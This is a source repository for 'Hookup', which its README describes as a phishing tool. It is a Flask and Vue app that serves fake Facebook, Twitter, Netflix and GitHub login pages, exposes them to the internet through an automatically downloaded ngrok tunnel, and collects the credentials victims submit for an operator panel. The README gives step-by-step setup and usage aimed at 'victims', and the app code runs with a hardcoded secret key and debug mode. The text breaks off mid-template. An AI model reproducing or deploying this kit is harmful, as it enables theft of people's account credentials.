├── .gitattributes ├── .gitignore ├── LICENSE ├── Pipfile ├── Pipfile.lock ├── README.md ├── hookup ├── __init__.py ├── cli.py ├── flask_ngrok.py ├── hookup-frontend │ ├── README.md │ ├── babel.config.js │ ├── dist │ │ ├── css │ │ │ ├── app.8d1078ab.css │ │ │ └── chunk-vendors.b1534e07.css │ │ ├── favicon.ico │ │ ├── index.html │ │ ├── js │ │ │ ├── app.7ab9cc7e.js │ │ │ ├── app.7ab9cc7e.js.map │ │ │ ├── chunk-vendors.7c9d1363.js │ │ │ └── chunk-vendors.7c9d1363.js.map │ │ └── logo.svg │ ├── electron.js │ ├── package-lock.json │ ├── package.json │ ├── public │ │ ├── favicon.ico │ │ ├── index.html │ │ └── logo.svg │ └── src │ │ ├── App.vue │ │ ├── assets │ │ └── logo.png │ │ ├── components │ │ ├── Mainscreen.vue │ │ └── pages │ │ │ ├── About.vue │ │ │ ├── AddSite.vue │ │ │ ├── ConfigureScreen.vue │ │ │ └── Result.vue │ │ ├── main.js │ │ ├── router │ │ └── index.js │ │ └── services │ │ ├── api.js │ │ └── endpoints.js ├── models.py ├── templates │ └── login.html ├── uploads │ ├── .keep │ ├── facebook.html │ ├── facebook_2.html │ ├── github.html │ ├── github_2.html │ ├── netflix.html │ ├── netflix_2.html │ ├── twitter.html │ └── twitter_2.html ├── utils.py └── views.py ├── requirements.txt └── run.py /.gitattributes: -------------------------------------------------------------------------------- 1 | hookup/uploads/* linguist-vendored -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | downloads/ 14 | node_modules/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | 131 | .vscode 132 | 133 | *.db 134 | 135 | !hookup/hookup-frontend/dist/* -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Bufgix 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "https://pypi.org/simple" 4 | verify_ssl = true 5 | 6 | [dev-packages] 7 | autopep8 = "*" 8 | 9 | [packages] 10 | flask = "*" 11 | flask-restful = "*" 12 | flask-sqlalchemy = "*" 13 | flask-login = "*" 14 | requests = "*" 15 | flask-cors = "*" 16 | gitpython = "*" 17 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "71c42c57ecb6321dd5849cb9ddda984d7bda5b1d6bec123feb49f9830cf8a89a" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": {}, 8 | "sources": [ 9 | { 10 | "name": "pypi", 11 | "url": "https://pypi.org/simple", 12 | "verify_ssl": true 13 | } 14 | ] 15 | }, 16 | "default": { 17 | "aniso8601": { 18 | "hashes": [ 19 | "sha256:529dcb1f5f26ee0df6c0a1ee84b7b27197c3c50fc3a6321d66c544689237d072", 20 | "sha256:c033f63d028b9a58e3ab0c2c7d0532ab4bfa7452bfc788fbfe3ddabd327b181a" 21 | ], 22 | "version": "==8.0.0" 23 | }, 24 | "certifi": { 25 | "hashes": [ 26 | "sha256:017c25db2a153ce562900032d5bc68e9f191e44e9a0f762f373977de9df1fbb3", 27 | "sha256:25b64c7da4cd7479594d035c08c2d809eb4aab3a26e5a990ea98cc450c320f1f" 28 | ], 29 | "version": "==2019.11.28" 30 | }, 31 | "chardet": { 32 | "hashes": [ 33 | "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae", 34 | "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691" 35 | ], 36 | "version": "==3.0.4" 37 | }, 38 | "click": { 39 | "hashes": [ 40 | "sha256:2335065e6395b9e67ca716de5f7526736bfa6ceead690adf616d925bdc622b13", 41 | "sha256:5b94b49521f6456670fdb30cd82a4eca9412788a93fa6dd6df72c94d5a8ff2d7" 42 | ], 43 | "version": "==7.0" 44 | }, 45 | "flask": { 46 | "hashes": [ 47 | "sha256:13f9f196f330c7c2c5d7a5cf91af894110ca0215ac051b5844701f2bfd934d52", 48 | "sha256:45eb5a6fd193d6cf7e0cf5d8a5b31f83d5faae0293695626f539a823e93b13f6" 49 | ], 50 | "index": "pypi", 51 | "version": "==1.1.1" 52 | }, 53 | "flask-cors": { 54 | "hashes": [ 55 | "sha256:72170423eb4612f0847318afff8c247b38bd516b7737adfc10d1c2cdbb382d16", 56 | "sha256:f4d97201660e6bbcff2d89d082b5b6d31abee04b1b3003ee073a6fd25ad1d69a" 57 | ], 58 | "index": "pypi", 59 | "version": "==3.0.8" 60 | }, 61 | "flask-login": { 62 | "hashes": [ 63 | "sha256:c815c1ac7b3e35e2081685e389a665f2c74d7e077cb93cecabaea352da4752ec" 64 | ], 65 | "index": "pypi", 66 | "version": "==0.4.1" 67 | }, 68 | "flask-restful": { 69 | "hashes": [ 70 | "sha256:ecd620c5cc29f663627f99e04f17d1f16d095c83dc1d618426e2ad68b03092f8", 71 | "sha256:f8240ec12349afe8df1db168ea7c336c4e5b0271a36982bff7394f93275f2ca9" 72 | ], 73 | "index": "pypi", 74 | "version": "==0.3.7" 75 | }, 76 | "flask-sqlalchemy": { 77 | "hashes": [ 78 | "sha256:0078d8663330dc05a74bc72b3b6ddc441b9a744e2f56fe60af1a5bfc81334327", 79 | "sha256:6974785d913666587949f7c2946f7001e4fa2cb2d19f4e69ead02e4b8f50b33d" 80 | ], 81 | "index": "pypi", 82 | "version": "==2.4.1" 83 | }, 84 | "gitdb2": { 85 | "hashes": [ 86 | "sha256:1b6df1433567a51a4a9c1a5a0de977aa351a405cc56d7d35f3388bad1f630350", 87 | "sha256:96bbb507d765a7f51eb802554a9cfe194a174582f772e0d89f4e87288c288b7b" 88 | ], 89 | "version": "==2.0.6" 90 | }, 91 | "gitpython": { 92 | "hashes": [ 93 | "sha256:9c2398ffc3dcb3c40b27324b316f08a4f93ad646d5a6328cafbb871aa79f5e42", 94 | "sha256:c155c6a2653593ccb300462f6ef533583a913e17857cfef8fc617c246b6dc245" 95 | ], 96 | "index": "pypi", 97 | "version": "==3.0.5" 98 | }, 99 | "idna": { 100 | "hashes": [ 101 | "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407", 102 | "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c" 103 | ], 104 | "version": "==2.8" 105 | }, 106 | "itsdangerous": { 107 | "hashes": [ 108 | "sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19", 109 | "sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749" 110 | ], 111 | "version": "==1.1.0" 112 | }, 113 | "jinja2": { 114 | "hashes": [ 115 | "sha256:93187ffbc7808079673ef52771baa950426fd664d3aad1d0fa3e95644360e250", 116 | "sha256:b0eaf100007721b5c16c1fc1eecb87409464edc10469ddc9a22a27a99123be49" 117 | ], 118 | "version": "==2.11.1" 119 | }, 120 | "markupsafe": { 121 | "hashes": [ 122 | "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473", 123 | "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161", 124 | "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235", 125 | "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5", 126 | "sha256:13d3144e1e340870b25e7b10b98d779608c02016d5184cfb9927a9f10c689f42", 127 | "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff", 128 | "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b", 129 | "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1", 130 | "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e", 131 | "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183", 132 | "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66", 133 | "sha256:596510de112c685489095da617b5bcbbac7dd6384aeebeda4df6025d0256a81b", 134 | "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1", 135 | "sha256:6788b695d50a51edb699cb55e35487e430fa21f1ed838122d722e0ff0ac5ba15", 136 | "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1", 137 | "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e", 138 | "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b", 139 | "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905", 140 | "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735", 141 | "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d", 142 | "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e", 143 | "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d", 144 | "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c", 145 | "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21", 146 | "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2", 147 | "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5", 148 | "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b", 149 | "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6", 150 | "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f", 151 | "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f", 152 | "sha256:cdb132fc825c38e1aeec2c8aa9338310d29d337bebbd7baa06889d09a60a1fa2", 153 | "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7", 154 | "sha256:e8313f01ba26fbbe36c7be1966a7b7424942f670f38e666995b88d012765b9be" 155 | ], 156 | "version": "==1.1.1" 157 | }, 158 | "pytz": { 159 | "hashes": [ 160 | "sha256:1c557d7d0e871de1f5ccd5833f60fb2550652da6be2693c1e02300743d21500d", 161 | "sha256:b02c06db6cf09c12dd25137e563b31700d3b80fcc4ad23abb7a315f2789819be" 162 | ], 163 | "version": "==2019.3" 164 | }, 165 | "requests": { 166 | "hashes": [ 167 | "sha256:11e007a8a2aa0323f5a921e9e6a2d7e4e67d9877e85773fba9ba6419025cbeb4", 168 | "sha256:9cf5292fcd0f598c671cfc1e0d7d1a7f13bb8085e9a590f48c010551dc6c4b31" 169 | ], 170 | "index": "pypi", 171 | "version": "==2.22.0" 172 | }, 173 | "six": { 174 | "hashes": [ 175 | "sha256:236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a", 176 | "sha256:8f3cd2e254d8f793e7f3d6d9df77b92252b52637291d0f0da013c76ea2724b6c" 177 | ], 178 | "version": "==1.14.0" 179 | }, 180 | "smmap2": { 181 | "hashes": [ 182 | "sha256:0555a7bf4df71d1ef4218e4807bbf9b201f910174e6e08af2e138d4e517b4dde", 183 | "sha256:29a9ffa0497e7f2be94ca0ed1ca1aa3cd4cf25a1f6b4f5f87f74b46ed91d609a" 184 | ], 185 | "version": "==2.0.5" 186 | }, 187 | "sqlalchemy": { 188 | "hashes": [ 189 | "sha256:64a7b71846db6423807e96820993fa12a03b89127d278290ca25c0b11ed7b4fb" 190 | ], 191 | "version": "==1.3.13" 192 | }, 193 | "urllib3": { 194 | "hashes": [ 195 | "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc", 196 | "sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc" 197 | ], 198 | "version": "==1.25.8" 199 | }, 200 | "werkzeug": { 201 | "hashes": [ 202 | "sha256:1e0dedc2acb1f46827daa2e399c1485c8fa17c0d8e70b6b875b4e7f54bf408d2", 203 | "sha256:b353856d37dec59d6511359f97f6a4b2468442e454bd1c98298ddce53cac1f04" 204 | ], 205 | "version": "==0.16.1" 206 | } 207 | }, 208 | "develop": { 209 | "autopep8": { 210 | "hashes": [ 211 | "sha256:0f592a0447acea0c2b0a9602be1e4e3d86db52badd2e3c84f0193bfd89fd3a43" 212 | ], 213 | "index": "pypi", 214 | "version": "==1.5" 215 | }, 216 | "pycodestyle": { 217 | "hashes": [ 218 | "sha256:95a2219d12372f05704562a14ec30bc76b05a5b297b21a5dfe3f6fac3491ae56", 219 | "sha256:e40a936c9a450ad81df37f549d676d127b1b66000a6c500caa2b085bc0ca976c" 220 | ], 221 | "version": "==2.5.0" 222 | } 223 | } 224 | } 225 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

Welcome to Hookup 💻

2 |

3 | 4 | License: MIT 5 | 6 | 7 | Twitter: bufgix 8 | 9 |

10 | 11 | > New generation phishing tool. 12 | 13 | logo 14 | 15 | A phishing tool that is written in Python and VueJS 16 | 17 | ## Installation 📀 18 | 19 | ### Step 1 20 | --- 21 | Launch your terminal 22 | 23 | ```bash 24 | λ git clone https://github.com/bufgix/hookup 25 | λ cd hookup 26 | ``` 27 | 28 | Install dependencies with `pip` 29 | 30 | ```bash 31 | λ pip install -r requirements.txt 32 | ``` 33 | 34 | 35 | ### Step 2 36 | --- 37 | 38 | Run phishing and GUI server. If you have never launched the program before, it will ask for username and password. 39 | 40 | ``` 41 | λ python run.py 42 | Username: bufgix 43 | Password 44 | [+] Done 45 | * Serving Flask app "hookup" (lazy loading) 46 | * Environment: production 47 | WARNING: This is a development server. Do not use it in a production deployment. 48 | Use a production WSGI server instead. 49 | * Debug mode: on 50 | * Restarting with stat 51 | ``` 52 | 53 | If everything is ok, you'll see the ngrok page which is shown below 54 | ![img](https://i.imgyukle.com/2020/01/31/nPcXnQ.png) 55 | 56 | And now, open your favorite browser then type `http://localhost:5000/adminpage` for the control panel. 57 | 58 | ## Usage 👨‍💻 59 | --- 60 | 61 | ![img](https://i.imgyukle.com/2020/01/31/nPgm0I.png) 62 | 63 | Login with your username and password (you set them on step 2) 64 | 65 | #### Configure 66 | ![img](https://i.imgyukle.com/2020/01/31/nPi1nb.png) 67 | 68 | On the configuration panel, you'll see that some fake pages have been already set up. Select the one for your use. "Current Page" part contains the data that victim will see. 69 | 70 | ### Results 71 | ![img](https://i.imgyukle.com/2020/01/31/nPpodU.png) 72 | The ngrok URL publishes your local server to the internet. You can get your fake page's URL at the top right corner of the screen(the part which says "Ngrok Url: ".). If your victim types their credientals correctly and pushes the send button, you'll handle the POST payload and results will be shown like the image above. 73 | 74 | 75 | 76 | ## Author 77 | 78 | 👤 **bufgix** 79 | 80 | * Website: http://bufgix.space 81 | * Twitter: [@bufgix](https://twitter.com/bufgix) 82 | * Github: [@bufgix](https://github.com/bufgix) 83 | 84 | ## Show your support 85 | 86 | Give a ⭐️ if this project helped you! 87 | 88 | *** 89 | -------------------------------------------------------------------------------- /hookup/__init__.py: -------------------------------------------------------------------------------- 1 | from hookup.utils import PROJECT_DIR 2 | from hookup.flask_ngrok import run_with_ngrok 3 | 4 | from flask import Flask, render_template, request 5 | from flask_cors import CORS 6 | from flask_sqlalchemy import SQLAlchemy 7 | from flask_login import LoginManager 8 | import pathlib 9 | import jinja2 10 | 11 | 12 | __version__ = "v1.2.0" 13 | __version_client__ = "v1.1.0" 14 | 15 | static_folder = PROJECT_DIR / 'hookup-frontend' / 'dist' 16 | upload_folder = PROJECT_DIR / 'uploads' 17 | 18 | app = Flask(__name__, static_folder=static_folder, static_url_path="/") 19 | 20 | app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///42.db" 21 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False 22 | app.config['SECRET_KEY'] = "8c74a213d30f874095c630af" 23 | app.config['UPLOAD_FOLDER'] = upload_folder 24 | app.url_map.strict_slashes = False 25 | CORS(app, resources={r"/api/*": {"origins": "*"}}) 26 | 27 | db = SQLAlchemy(app) 28 | login_manager = LoginManager(app) 29 | login_manager.login_view = "login" 30 | 31 | 32 | ## Added front end templates 33 | template_dir = PROJECT_DIR / 'hookup-frontend' / 'dist' 34 | template_loader = jinja2.ChoiceLoader([ 35 | app.jinja_loader, 36 | jinja2.FileSystemLoader(str(template_dir)) 37 | ]) 38 | 39 | app.jinja_loader = template_loader 40 | 41 | from hookup.views import * 42 | 43 | 44 | def start_server(): 45 | run_with_ngrok(app) 46 | app.run(debug=True, host="0.0.0.0") 47 | -------------------------------------------------------------------------------- /hookup/cli.py: -------------------------------------------------------------------------------- 1 | from hookup import db 2 | from hookup.models import Page, User 3 | import getpass 4 | 5 | DEFAULT_SITES = ["facebook", "twitter", "netflix", "github"] 6 | 7 | def create_superuser(): 8 | username = input("Username: ") 9 | password = getpass.getpass("Password ") 10 | user = User(username=username, password=password) 11 | user.save() 12 | 13 | def register_sites(sites=DEFAULT_SITES): 14 | user = User.query.first() 15 | for site in sites: 16 | page = Page(name=site, source=f"{site}.html", stock=True) 17 | user.pages.append(page) 18 | user.save() 19 | 20 | def main(): 21 | db.create_all() 22 | exists = User.query.first() 23 | if not exists: 24 | create_superuser() 25 | register_sites() 26 | print("[+] Done") 27 | 28 | if __name__ == '__main__': 29 | main() 30 | 31 | -------------------------------------------------------------------------------- /hookup/flask_ngrok.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import json 3 | import os 4 | import platform 5 | import shutil 6 | import subprocess 7 | import tempfile 8 | import time 9 | import zipfile 10 | from pathlib import Path 11 | from threading import Timer 12 | 13 | import requests 14 | 15 | 16 | def _get_command(): 17 | system = platform.system() 18 | if system == "Darwin": 19 | command = "ngrok" 20 | elif system == "Windows": 21 | command = "ngrok.exe" 22 | elif system == "Linux": 23 | command = "ngrok" 24 | else: 25 | raise Exception("{system} is not supported".format(system=system)) 26 | return command 27 | 28 | 29 | def _run_ngrok(port): 30 | command = _get_command() 31 | ngrok_path = str(Path(tempfile.gettempdir(), "ngrok")) 32 | _download_ngrok(ngrok_path) 33 | executable = str(Path(ngrok_path, command)) 34 | os.chmod(executable, 0o777) 35 | ngrok = subprocess.Popen([executable, 'http', str(port)]) 36 | atexit.register(ngrok.terminate) 37 | localhost_url = "http://localhost:4040/api/tunnels" # Url with tunnel details 38 | time.sleep(1) 39 | tunnel_url = requests.get(localhost_url).text # Get the tunnel information 40 | j = json.loads(tunnel_url) 41 | 42 | tunnel_url = j['tunnels'][0]['public_url'] # Do the parsing of the get 43 | tunnel_url = tunnel_url.replace("https", "http") 44 | return tunnel_url 45 | 46 | 47 | def get_tunnel_url(): 48 | localhost_url = "http://localhost:4040/api/tunnels" # Url with tunnel details 49 | # time.sleep(1) 50 | tunnel_url = requests.get(localhost_url).text # Get the tunnel information 51 | j = json.loads(tunnel_url) 52 | 53 | tunnel_url = j['tunnels'][0]['public_url'] # Do the parsing of the get 54 | tunnel_url = tunnel_url.replace("https", "http") 55 | return tunnel_url 56 | 57 | 58 | def _download_ngrok(ngrok_path): 59 | if Path(ngrok_path).exists(): 60 | return 61 | system = platform.system() 62 | if system == "Darwin": 63 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-amd64.zip" 64 | elif system == "Windows": 65 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" 66 | elif system == "Linux": 67 | if "ANDROID_DATA" in os.environ: 68 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip" 69 | else: 70 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip" 71 | else: 72 | raise Exception(f"{system} is not supported") 73 | download_path = _download_file(url) 74 | with zipfile.ZipFile(download_path, "r") as zip_ref: 75 | zip_ref.extractall(ngrok_path) 76 | 77 | 78 | def _download_file(url): 79 | local_filename = url.split('/')[-1] 80 | r = requests.get(url, stream=True) 81 | download_path = str(Path(tempfile.gettempdir(), local_filename)) 82 | with open(download_path, 'wb') as f: 83 | shutil.copyfileobj(r.raw, f) 84 | return download_path 85 | 86 | 87 | def start_ngrok(port): 88 | ngrok_address = _run_ngrok(port) 89 | print(f" * Running on {ngrok_address}") 90 | print(f" * Traffic stats available on http://127.0.0.1:4040") 91 | 92 | 93 | def run_with_ngrok(app): 94 | """ 95 | The provided Flask app will be securely exposed to the public internet via ngrok when run, 96 | and the its ngrok address will be printed to stdout 97 | :param app: a Flask application object 98 | :return: None 99 | """ 100 | old_run = app.run 101 | 102 | def new_run(*args, **kwargs): 103 | port = kwargs.get('port', 5000) 104 | thread = Timer(1, start_ngrok, args=(port,)) 105 | thread.setDaemon(True) 106 | thread.start() 107 | old_run(*args, **kwargs) 108 | app.run = new_run 109 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/README.md: -------------------------------------------------------------------------------- 1 | # hookup-frontend 2 | 3 | ## Project setup 4 | ``` 5 | npm install 6 | ``` 7 | 8 | ### Compiles and hot-reloads for development 9 | ``` 10 | npm run serve 11 | ``` 12 | 13 | ### Compiles and minifies for production 14 | ``` 15 | npm run build 16 | ``` 17 | 18 | ### Lints and fixes files 19 | ``` 20 | npm run lint 21 | ``` 22 | 23 | ### Customize configuration 24 | See [Configuration Reference](https://cli.vuejs.org/config/). 25 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [ 3 | '@vue/cli-plugin-babel/preset' 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/dist/css/app.8d1078ab.css: -------------------------------------------------------------------------------- 1 | .md-app-toolbar[data-v-7ceb330f]{background-color:#212121!important}.md-progress-bar[data-v-7ceb330f]{margin:24px;width:100px}.md-app[data-v-7ceb330f],.page-container[data-v-7ceb330f]{height:100%}.ngrok-link[data-v-7ceb330f]{background-color:#424242;padding:5px}#app{font-family:Asap,sans-serif;letter-spacing:.5px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-align:center;color:#2c3e50;height:100%;width:100%}.md-app{max-height:100%;border:1px solid rgba(0,0,0,.12)}.md-drawer{width:230px;max-width:calc(100vw - 125px)}.active{color:var(--md-theme-default-primary-on-background,#f8f4f4)!important;background-color:#212121}.active:hover{text-decoration:none}.md-card[data-v-e272a12a]{background-color:#212121;min-width:200px;padding:0;margin:0}.md-list-item .md-card[data-v-e272a12a]{width:100%}.dark-viewer[data-v-e272a12a]{background:#212121;white-space:nowrap;color:#eee;font-size:14px;font-family:Consolas,Menlo,Courier,monospace;clear:both}.dark-viewer .jv-ellipsis[data-v-e272a12a]{color:#999;background-color:#eee;display:inline-block;line-height:.9;font-size:.9em;padding:0 4px 2px 4px;border-radius:3px;vertical-align:2px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.dark-viewer .jv-button[data-v-e272a12a]{color:#49b3ff}.dark-viewer .jv-item.jv-array[data-v-e272a12a],.dark-viewer .jv-key[data-v-e272a12a]{color:#111}.dark-viewer .jv-item.jv-boolean[data-v-e272a12a]{color:#fc1e70}.dark-viewer .jv-item.jv-function[data-v-e272a12a]{color:#067bca}.dark-viewer .jv-item.jv-number[data-v-e272a12a]{color:#fc1e70}.dark-viewer .jv-item.jv-object[data-v-e272a12a]{color:#111}.dark-viewer .jv-item.jv-undefined[data-v-e272a12a]{color:#e08331}.dark-viewer .jv-item.jv-string[data-v-e272a12a]{color:#42b983;word-wrap:break-word;overflow:hidden}.dark-viewer .jv-code .jv-toggle[data-v-e272a12a]:before{padding:0 2px;border-radius:2px}.dark-viewer .jv-code .jv-toggle[data-v-e272a12a]:hover:before{background:#eee}.md-card[data-v-7626944a]{background-color:#212121}.md-title[data-v-7626944a]{margin-bottom:10px}.md-textarea[data-v-7626944a]{font-family:Roboto Mono,monospace;min-height:200px}.md-snackbar[data-v-7626944a]{background-color:#212121;color:#f0f8ff}.md-card[data-v-2168d7e0]{background-color:#212121}.md-table+.md-table[data-v-2168d7e0]{margin-top:16px}.md-snackbar[data-v-2168d7e0]{background-color:#212121;color:#f0f8ff}.md-card[data-v-2168d7e0]{max-height:1000px}.md-textarea[data-v-2168d7e0]{height:900px}.md-card[data-v-a06afa1e]{height:100%;background-color:#212121}.md-card .md-layout-item .md-layout[data-v-a06afa1e]{height:100%}.logo-box ul[data-v-a06afa1e]{list-style:none;padding:0;text-align:center}.logo-box ul li[data-v-a06afa1e]{margin:10px}.info-box ul[data-v-a06afa1e]{list-style-type:none;padding:0;text-align:left}.info-box li[data-v-a06afa1e]{font-size:16px;margin:10px 0 10px 0}.info-box li[data-v-a06afa1e]:before{content:"✔️ "}.info-box li span[data-v-a06afa1e]{color:#398aff;background-color:#141311;padding:2px 5px 2px 5px} -------------------------------------------------------------------------------- /hookup/hookup-frontend/dist/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/dist/favicon.ico -------------------------------------------------------------------------------- /hookup/hookup-frontend/dist/index.html: -------------------------------------------------------------------------------- 1 | Hook Up Panel
-------------------------------------------------------------------------------- /hookup/hookup-frontend/dist/js/app.7ab9cc7e.js: -------------------------------------------------------------------------------- 1 | (function(t){function e(e){for(var r,i,c=e[0],o=e[1],u=e[2],d=0,m=[];d\r\n
\r\n \r\n \r\n Hook Up\r\n
\r\n
\r\n Ngrok Url:\r\n \r\n
\r\n {{ ngrokUrl }}\r\n {{ copyStatus}}\r\n
\r\n
\r\n
\r\n
